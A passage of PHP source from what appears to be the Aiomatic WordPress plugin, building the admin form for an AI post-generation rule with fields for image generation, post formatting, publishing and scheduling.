esc_html__("AI Image From Below Selector", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="2"'; if ($royalty_free == '2') { $output .= ' selected'; } $output .= '>' . esc_html__("Random Amazon Product Thumbnail", 'aiomatic-automatic-ai-content-writer') . '</option> </select> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the search query repetition mode, when searching royalty free images.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Search Query Repetition", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <select autocomplete="off" name="aiomatic_amazon_list[search_query_repetition][]" class="cr_width_full"> <option value="0"'; if ($search_query_repetition == '0') { $output .= ' selected'; } $output .= '>' . esc_html__("Use Different Search Queries For Images", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="1"'; if ($search_query_repetition == '1') { $output .= ' selected'; } $output .= '>' . esc_html__("Use The Same Search Query For Images", 'aiomatic-automatic-ai-content-writer') . '</option> </select> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Do you want to enable the AI Image Generator and to replace Royalty Free Images with AI generated images? If you select 'Default Featured Image List', you can add the image URLs in the 'Default Featured Image List' settings field.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Article Image Source", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <select id="enable_ai_images' . esc_html($cont) . '" autocomplete="off" onchange="hideImage(' . esc_html($cont) . ');" name="aiomatic_amazon_list[enable_ai_images][]" class="cr_width_full"> <option value="0"'; if ($enable_ai_images == '0') { $output .= ' selected'; } $output .= '>' . esc_html__("Royalty Free", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="1"'; if ($enable_ai_images == '1') { $output .= ' selected'; } $output .= '>' . esc_html__("OpenAI/AiomaticAPI", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="2"'; if ($enable_ai_images == '2') { $output .= ' selected'; } $output .= '>' . esc_html__("Stability.AI", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="4"'; if ($enable_ai_images == '4') { $output .= ' selected'; } $output .= '>' . esc_html__("Midjourney", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="3"'; if ($enable_ai_images == '3') { $output .= ' selected'; } $output .= '>' . esc_html__("Manual URL List", 'aiomatic-automatic-ai-content-writer') . '</option> </select> </div> </td></tr> <tr class="hideImg' . esc_html($cont) . '"><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set list of prompt commands (one on each line) you want to send to the AI image generator. This command can be any given task or order, based on which, it will generate images. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%. The length of this command should not be greater than 1000 characters, otherwise the plugin will strip it to 1000 characters length. - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. If you use Royalty Free Images as a source, you can also set their keywords here, if no keywords set, they will be automatically generated. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' ' . sprintf( wp_kses( __( "Please check some tips and tricks about writing prompt commands, <a href='%s' target='_blank'>here</a>. The [aicontent] shortcode is able to be used also here.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-image-generating-for-openai-dall-e-api/' ) . ' </div> </div> <b>' . esc_html__("Prompt For The AI Image Generator", 'aiomatic-automatic-ai-content-writer') . ':</b> <b><a href="https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-image-generating-for-openai-dall-e-api/" target="_blank">ⓘ</a></b> </td><td> <textarea rows="2" cols="70" name="aiomatic_amazon_list[ai_command_image][]" placeholder="Please insert a command for the AI image generator" class="cr_width_full">' . esc_textarea($ai_command_image) . '</textarea> </div> </td></tr> <tr class="hideDalle' . esc_html($cont) . '"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the AI model you wish to use for image the image generator.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Image Model", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" name="aiomatic_amazon_list[image_model][]" class="cr_width_full"> <option value="dalle2"'; if ($image_model == 'dalle2') { $output .= ' selected'; } $output .= '>' . esc_html__("Dall-E 2", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="dalle3"'; if ($image_model == 'dalle3') { $output .= ' selected'; } $output .= '>' . esc_html__("Dall-E 3", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="dalle3hd"'; if ($image_model == 'dalle3hd') { $output .= ' selected'; } $output .= '>' . esc_html__("Dall-E 3 HD", 'aiomatic-automatic-ai-content-writer') . '</option> </select> </div> </td></tr> <tr class="hideImg' . esc_html($cont) . '"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the size of the generated image.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Generated Image Size", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" name="aiomatic_amazon_list[image_size][]" class="cr_width_full"> <option value="256x256"'; if ($image_size == '256x256') { $output .= ' selected'; } $output .= '>' . esc_html__("256x256 (only for Dall-E 2)", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="512x512"'; if ($image_size == '512x512') { $output .= ' selected'; } $output .= '>' . esc_html__("512x512 (only for Dall-E 2 & Stable Diffusion)", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="1024x1024"'; if ($image_size == '1024x1024') { $output .= ' selected'; } $output .= '>' . esc_html__("1024x1024", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="1792x1024"'; if ($image_size == '1792x1024') { $output .= ' selected'; } $output .= '>' . esc_html__("1792x1024 (only for Dall-E 3)", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="1024x1792"'; if ($image_size == '1024x1792') { $output .= ' selected'; } $output .= '>' . esc_html__("1024x1792 (only for Dall-E 3)", 'aiomatic-automatic-ai-content-writer') . '</option> </select> </div> </td></tr><tr><td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Insert a comma separated list of links to valid images that will be set randomly for the featured image for the posts that do not have a valid image attached or if you disabled automatical featured image generator. You can also use image numeric IDs from images found in the Media Gallery. To disable this feature, leave this field blank. Spintax supported. You can also use the %%random_image[keyword]%% shortcode to automatically import a random image from Google Image Search with the Creative Commons filter applied. To get a related image, you can also use: %%random_image[%%post_title%%]%%", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Default Featured Image List", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="1" class="cr_width_60p" name="aiomatic_amazon_list[image_url][]" placeholder="Please insert the link to a valid image (spintax supported)">' . esc_textarea($image_url) . '</textarea> </td></tr> <tr><td colspan="2"><h3>' . esc_html__('Posting Options', 'aiomatic-automatic-ai-content-writer') . ':</h3></td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Enter a HTML text that should be prepended to the AI generated content in each created post. You can use the following shortcodes: %%custom_html%%, %%custom_html2%%, %%search_keywords%%, %%all_product_titles%%, %%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also use an optional parameter in the random_image and random_video shortcodes, which will add a percentage chance for the media to appear or not - example: %%random_video[keyword][60]%% - a video will appear in 60% of cases, in the rest of 40%, nothing will be returned by the shortcode - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("HTML Text To Prepend To AI Created Content", 'aiomatic-automatic-ai-content-writer') . ':</b> <b><a href="https://coderevolution.ro/knowledge-base/faq/post-template-reference-advanced-usage/" target="_blank">ⓘ</a></b> </td><td> <textarea rows="2" cols="70" name="aiomatic_amazon_list[post_prepend][]" placeholder="HTML content to prepend to the AI generated content" class="cr_width_full">' . esc_textarea($post_prepend) . '</textarea> </div> </td></tr><tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Enter a HTML text that should be append to the AI generated content in each created post. You can use the following shortcodes: %%custom_html%%, %%custom_html2%%, %%search_keywords%%, %%all_product_titles%%, %%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also use an optional parameter in the random_image and random_video shortcodes, which will add a percentage chance for the media to appear or not - example: %%random_video[keyword][60]%% - a video will appear in 60% of cases, in the rest of 40%, nothing will be returned by the shortcode - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("HTML Text To Append To AI Created Content", 'aiomatic-automatic-ai-content-writer') . ':</b> <b><a href="https://coderevolution.ro/knowledge-base/faq/post-template-reference-advanced-usage/" target="_blank">ⓘ</a></b> </td><td> <textarea rows="2" cols="70" name="aiomatic_amazon_list[post_append][]" placeholder="HTML content to append to the AI generated content" class="cr_width_full">' . esc_textarea($post_append) . '</textarea> </div> </td></tr><tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Custom AI generated content shortcode creator. If you wish to create content from multiple AI prompts, and use them in post content/post custom fields/taxonomies, you can configure this from here. Also, these shortcodes will be able to be used in custom fields or custom taxonomies which the plugin will create. Syntax for this field: shortcode_name => AI_MODEL_TO_USE @@ TEXTUAL_PROMPT_TO_USE (to specify multiple shortcodes and crawling values, separate them by a new line. Example: my_custom_shortcode => gpt-4o-mini @@ Write a short poem. Afterwards, you can use shortcodes in any settings field that supports shortcodes (ex: 'HTML Text To Append To AI Created Content' settings field), like this: %%my_custom_shortcode%%. Official format is %%name_of_custom_shortcode%%", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Custom Shortcode Creator (Optional)", 'aiomatic-automatic-ai-content-writer') . ':</b><span class="tool" data-tip="Supported models: ' . implode(',', aiomatic_get_all_models()) . '"> ⓘ</span> </td><td> <textarea rows="2" cols="70" name="aiomatic_amazon_list[custom_shortcodes][]" placeholder="shortcode_name => AI_MODEL @@ AI_PROMPT" class="cr_width_full">' . esc_textarea($custom_shortcodes) . '</textarea> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("The AI writer might add the title of the post to the created post content. Check this checkbox if you want to remove the title from the post content", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Strip Title From Content", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="strip_title" name="aiomatic_amazon_list[strip_title][]"'; if($strip_title == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Do you want to skip spinning of posts generated by this rule?", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Do Not Spin Posts Generated By This Rule", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="skip_spin" name="aiomatic_amazon_list[skip_spin][]"'; if($skip_spin == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Do you want to skip translating of posts generated by this rule?", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Do Not Translate Posts Generated By This Rule", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="skip_translate" name="aiomatic_amazon_list[skip_translate][]"'; if($skip_translate == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select if you want to process each title from the added list only once.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Process Each Title/Keyword Only Once", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="title_once" name="aiomatic_amazon_list[title_once][]"'; if($title_once == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select if you want to overwrite existing posts during the publishing process.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Overwrite Existing Posts", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="overwrite_existing" name="aiomatic_amazon_list[overwrite_existing][]"'; if($overwrite_existing == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Run regex on post content. To disable this feature, leave this field blank. No Regex separators are required here. You can add multiple Regex expressions, each on a different line.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Run Regex On Content", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="1" class="cr_width_full" name="aiomatic_amazon_list[strip_by_regex][]" placeholder="regex" class="cr_width_full">' . esc_textarea($strip_by_regex) . '</textarea> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Replace the above regex matches with this regex expression. If you want to strip matched content, leave this field blank. No Regex separators are required here. You can add multiple replacement expressions, each on a different line.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Replace Matches From Regex (Content)", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="1" class="cr_width_full" name="aiomatic_amazon_list[replace_regex][]" placeholder="regex replacement" class="cr_width_full">' . esc_textarea($replace_regex) . '</textarea> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the author that you want to assign for the automatically generated posts.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Post Author", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" id="post_author" name="aiomatic_amazon_list[post_author][]" class="cr_width_full">'; $output .= '<option value="rand"'; if ($post_user_name == "rand") { $output .= " selected"; } $output .= '>' . esc_html__("Random user", 'aiomatic-automatic-ai-content-writer') . '</option>'; $blogusers = get_users( [ 'role__in' => [ 'contributor', 'author', 'editor', 'administrator' ] ] ); foreach ($blogusers as $user) { $output .= '<option value="' . esc_html($user->ID) . '"'; if ($post_user_name == $user->ID) { $output .= " selected"; } $output .= '>' . esc_html($user->display_name) . '</option>'; } $output .= '</select> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the status that you want for the automatically generated posts to have.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Post Status", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" id="submit_status" name="aiomatic_amazon_list[submit_status][]" class="cr_width_full"> <option value="pending"'; if ($status == 'pending') { $output .= ' selected'; } $output .= '>' . esc_html__("Pending -> Moderate", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="draft"'; if ($status == 'draft') { $output .= ' selected'; } $output .= '>' . esc_html__("Draft -> Moderate", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="publish"'; if ($status == 'publish') { $output .= ' selected'; } $output .= '>' . esc_html__("Published", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="private"'; if ($status == 'private') { $output .= ' selected'; } $output .= '>' . esc_html__("Private", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="trash"'; if ($status == 'trash') { $output .= ' selected'; } $output .= '>' . esc_html__("Trash", 'aiomatic-automatic-ai-content-writer') . '</option> </select> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the type (post/page) for your automatically generated item.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Item Type", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" id="default_type" name="aiomatic_amazon_list[default_type][]" class="cr_width_full">'; foreach ( get_post_types( '', 'names' ) as $post_type ) { if(strstr($post_type, 'aiomatic_')) { continue; } $output .= '<option value="' . esc_attr($post_type) . '"'; if ($def_type == $post_type) { $output .= ' selected'; } $output .= '>' . esc_html($post_type) . '</option>'; } $output .= '</select> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__('If your template supports "Post Formats", than you can select one here. If not, leave this at it\'s default value.', 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Generated Post Format", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <select autocomplete="off" id="post_format" name="aiomatic_amazon_list[post_format][]" class="cr_width_full"> <option value="post-format-standard"'; if ($post_format == 'post-format-standard') { $output .= ' selected'; } $output .= '>' . esc_html__("Standard", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="post-format-aside"'; if ($post_format == 'post-format-aside') { $output .= ' selected'; } $output .= '>' . esc_html__("Aside", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="post-format-gallery"'; if ($post_format == 'post-format-gallery') { $output .= ' selected'; } $output .= '>' . esc_html__("Gallery", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="post-format-link"'; if ($post_format == 'post-format-link') { $output .= ' selected'; } $output .= '>' . esc_html__("Link", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="post-format-image"'; if ($post_format == 'post-format-image') { $output .= ' selected'; } $output .= '>' . esc_html__("Image", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="post-format-quote"'; if ($post_format == 'post-format-quote') { $output .= ' selected'; } $output .= '>' . esc_html__("Quote", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="post-format-status"'; if ($post_format == 'post-format-status') { $output .= ' selected'; } $output .= '>' . esc_html__("Status", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="post-format-video"'; if ($post_format == 'post-format-video') { $output .= ' selected'; } $output .= '>' . esc_html__("Video", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="post-format-audio"'; if ($post_format == 'post-format-audio') { $output .= ' selected'; } $output .= '>' . esc_html__("Audio", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="post-format-chat"'; if ($post_format == 'post-format-chat') { $output .= ' selected'; } $output .= '>' . esc_html__("Chat", 'aiomatic-automatic-ai-content-writer') . '</option> </select> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the ID of the parent of created posts. This is useful for BBPress integration, to assign forum IDs for created topics or for other similar functionalities.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Post Parent ID", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="text" class="cr_width_full" name="aiomatic_amazon_list[parent_id][]" value="' . esc_attr($parent_id) . '" placeholder="Post parent ID" class="cr_width_full"> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Do you want to enable comments for the generated posts?", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Enable Comments For Posts", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="enable_comments" name="aiomatic_amazon_list[enable_comments][]"'; if ($enable_comments == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Do you want to enable pingbacks and trackbacks for the generated posts?", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Enable Pingback/Trackback", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="enable_pingback" name="aiomatic_amazon_list[enable_pingback][]"'; if ($enable_pingback == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . sprintf( wp_kses( __( "Do you want to set a custom post publish date for posts? Set the range in the below field Accepted values for this field are listed: <a href='%s' target='_blank'>here</a>. To disable this feature, leave this field blank.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), esc_url_raw( 'https://www.php.net/manual/en/datetime.formats.php' ) ) . ' </div> </div> <b>' . esc_html__("Set a Custom Post Publish Date Range", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="text" id="min_time" name="aiomatic_amazon_list[min_time][]" value="' . esc_attr($min_time) . '" placeholder="Start time" class="cr_half"> - <input type="text" id="max_time" name="aiomatic_amazon_list[max_time][]" value="' . esc_attr($max_time) . '" placeholder="End time" class="cr_half"> </div> </td></tr><tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text_top cr_min_260px">' . esc_html__("Set the custom fields that will be set for generated posts. The syntax for this field is the following: custom_field_name1 => custom_field_value1, custom_field_name2 => custom_field_value2, ... . You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You can also use the following topic based shortcodes: %%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Post Custom Fields", 'aiomatic-automatic-ai-content-writer') . ':</b> <b><a href="https://coderevolution.ro/knowledge-base/faq/post-template-reference-advanced-usage/" target="_blank">ⓘ</a></b> </td><td> <textarea rows="1" cols="70" name="aiomatic_amazon_list[custom_fields][]" placeholder="Please insert your desired custom fields. Example: title_custom_field => %%post_title%%" class="cr_width_full">' . esc_textarea($custom_fields) . '</textarea> </div> </td></tr><tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text_top cr_min_260px">' . esc_html__("Set the custom taxonomies that will be set for generated posts. The syntax for this field is the following: custom_taxonomy_name1 => custom_taxonomy_value1A, custom_taxonomy_value1B; custom_taxonomy_name2 => custom_taxonomy_value2A, custom_taxonomy_value2B; ... . You can also set hierarhical taxonomies (parent > child), in this format: custom_taxonomy_name => parent1 > child1 . You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You can also use the following topic based shortcodes: %%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Post Custom Taxonomies", 'aiomatic-automatic-ai-content-writer') . ':</b> <b><a href="https://coderevolution.ro/knowledge-base/faq/post-template-reference-advanced-usage/" target="_blank">ⓘ</a></b> </td><td> <textarea rows="1" cols="70" name="aiomatic_amazon_list[custom_tax][]" placeholder="Please insert your desired custom taxonomies. Example: custom_taxonomy_name => %%post_title%%" class="cr_width_full">' . esc_textarea($custom_tax) . '</textarea> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text_top cr_min_260px">' . esc_html__("Enter a 2 letter language code that will be assigned as the WPML/Polylang language for posts. Example: for German, input: de", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Assign WPML/Polylang Language to Posts", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="text" class="cr_width_full" name="aiomatic_amazon_list[wpml_lang][]" value="' . esc_attr($wpml_lang) . '" placeholder="WPML/Polylang language" class="cr_width_full"> </div> </td></tr> <tr><td colspan="2"><h3>' . esc_html__('Scheduling Restrictions', 'aiomatic-automatic-ai-content-writer') . ':</h3></td></tr><tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the days of the week when you don't want to run this rule. You can enter a comma separate list of day names.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Do Not Run This Rule On The Following Days Of The Week", 'aiomatic-automatic-ai-content-writer') . ':</b> <br/>' . esc_html__("Current Server Time:", 'aiomatic-automatic-ai-content-writer') . ' ' . date('l', time()) . ', ' . date("Y-m-d H:i:s") . ' </td><td> <input type="text" class="cr_width_full" name="aiomatic_amazon_list[days_no_run][]" value="' . esc_attr($days_no_run) . '" placeholder="Mo,Tu,We,Th,Fr,Sa,Su" class="cr_width_full"> </div> </td></tr></table></div> </div> <div class="codemodalfzr-footer"> <br/> <h3 class="cr_inline">Aiomatic Automatic Post Generator</h3><span id="aiomatic_ok' . esc_html($cont) . '" class="codeokfzr cr_inline">OK </span> <br/><br/> </div> </div> </div> </td> <td class="cr_shrt_td2"><span class="wpaiomatic-delete">X</span></td> <td class="cr_short_td"><input type="checkbox" name="aiomatic_amazon_list[active][]" class="activateDeactivateClass" value="1"'; if (isset($active) && $active === '1') { $output .= ' checked'; } $output .= '/> <input type="hidden" name="aiomatic_amazon_list[last_run][]" value="' . esc_attr($last_run) . '"/> <input type="hidden" name="aiomatic_amazon_list[rule_unique_id][]" value="' . esc_attr($rule_unique_id) . '"/></td> <td class="cr_shrt_td2"><div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . sprintf( wp_kses( __( 'Shortcode for this rule<br/>(to cross-post from this plugin in other plugins):', 'aiomatic-automatic-ai-content-writer'), array( 'br' => array( ) ) ) ) . '<br/><b>%%aiomatic_2_' . esc_html($cont) . '%% and %%aiomatic_title_2_' . esc_html($cont) . '%%</b><br/>' . esc_html__('Posts Generated:', 'aiomatic-automatic-ai-content-writer') . ' ' . esc_html($generated_posts) . '<br/>'; if ($generated_posts != 0) { $output .= '<a href="' . get_admin_url() . 'edit.php?coderevolution_post_source=Aiomatic_2_' . esc_html($cont) . '&post_type=' . esc_html($def_type) . '" target="_blank">' . esc_html__('View Generated Posts', 'aiomatic-automatic-ai-content-writer') . '</a><br/>'; } $output .= esc_html__('Last Run: ', 'aiomatic-automatic-ai-content-writer'); if ($last_run == '1988-01-27 00:00:00') { $output .= 'Never'; } else { $output .= $last_run; } $output .= '<br/>' . esc_html__('Next Run: ', 'aiomatic-automatic-ai-content-writer'); if($unlocker == '1') { $nextrun = aiomatic_add_minute($last_run, $schedule); } else { $nextrun = aiomatic_add_hour($last_run, $schedule); } $now = aiomatic_get_date_now(); if (isset($active) && $active === '1') { if($unlocker == '1') { $aiomatic_hour_diff = (int)aiomatic_minute_diff($now, $nextrun); } else { $aiomatic_hour_diff = (int)aiomatic_hour_diff($now, $nextrun); } if ($aiomatic_hour_diff >= 0) { if($unlocker == '1') { $append = 'Now.'; } else { $append = 